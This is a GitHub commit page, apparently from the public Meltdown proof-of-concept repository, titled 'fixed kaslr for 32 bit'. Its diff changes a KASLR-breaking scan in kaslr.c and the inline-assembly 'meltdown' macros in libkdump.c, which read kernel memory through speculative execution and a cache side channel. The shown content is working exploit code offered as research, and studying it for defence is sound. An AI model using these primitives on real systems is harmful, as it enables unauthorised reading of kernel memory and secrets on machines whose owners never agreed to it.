Skip to content
This repository was archived by the owner on Oct 1, 2022. It is now read-only.

Commit

Permalink
fixed kaslr for 32 bit
Browse files Browse the repository at this point in the history
  • Loading branch information
misc0110 committed Jan 13, 2018
1 parent 61ccf7f commit 064a2fa
Show file tree
Hide file tree
Showing 2 changed files with 11 additions and 7 deletions.
6 changes: 5 additions & 1 deletion kaslr.c
Original file line number Diff line number Diff line change
Expand Up @@ -5,8 +5,12 @@
int main(int argc, char *argv[]) {
size_t scratch[4096];
libkdump_config_t config;
size_t offset = 0xffff880000000000ull;
size_t offset = DEFAULT_PHYSICAL_OFFSET;
#ifdef __x86_64__
size_t step = 0x800000000ll;
#else
size_t step = 0x1000000;
#endif
size_t delta = -2 * step;
int progress = 0;

Expand Down
12 changes: 6 additions & 6 deletions libkdump/libkdump.c
Original file line number Diff line number Diff line change
Expand Up @@ -82,35 +82,35 @@ static libkdump_config_t config;

// ---------------------------------------------------------------------------
#define meltdown \
asm volatile("xorl %%eax, %%eax\n" \
asm volatile("xor %%eax, %%eax\n" \
"1:\n" \
"movl (%%esi), %%esi\n" \
"movb (%%ecx), %%al\n" \
"shl $12, %%eax\n" \
"jz 1b\n" \
"movl (%%ebx,%%eax,1), %%ebx\n" \
"mov (%%ebx,%%eax,1), %%ebx\n" \
: \
: "c"(phys), "b"(mem), "S"(0) \
: "eax");

// ---------------------------------------------------------------------------
#define meltdown_nonull \
asm volatile("xorl %%eax, %%eax\n" \
asm volatile("xor %%eax, %%eax\n" \
"1:\n" \
"movb (%%ecx), %%al\n" \
"shl $12, %%eax\n" \
"jz 1b\n" \
"movl (%%ebx,%%eax,1), %%ebx\n" \
"mov (%%ebx,%%eax,1), %%ebx\n" \
: \
: "c"(phys), "b"(mem) \
: "eax");

// ---------------------------------------------------------------------------
#define meltdown_fast \
asm volatile("xorl %%eax, %%eax\n" \
asm volatile("xor %%eax, %%eax\n" \
"movb (%%ecx), %%al\n" \
"shl $12, %%eax\n" \
"movl (%%ebx,%%eax,1), %%ebx\n" \
"mov (%%ebx,%%eax,1), %%ebx\n" \
: \
: "c"(phys), "b"(mem) \
: "eax");
Expand Down

0 comments on commit 064a2fa

Please sign in to comment.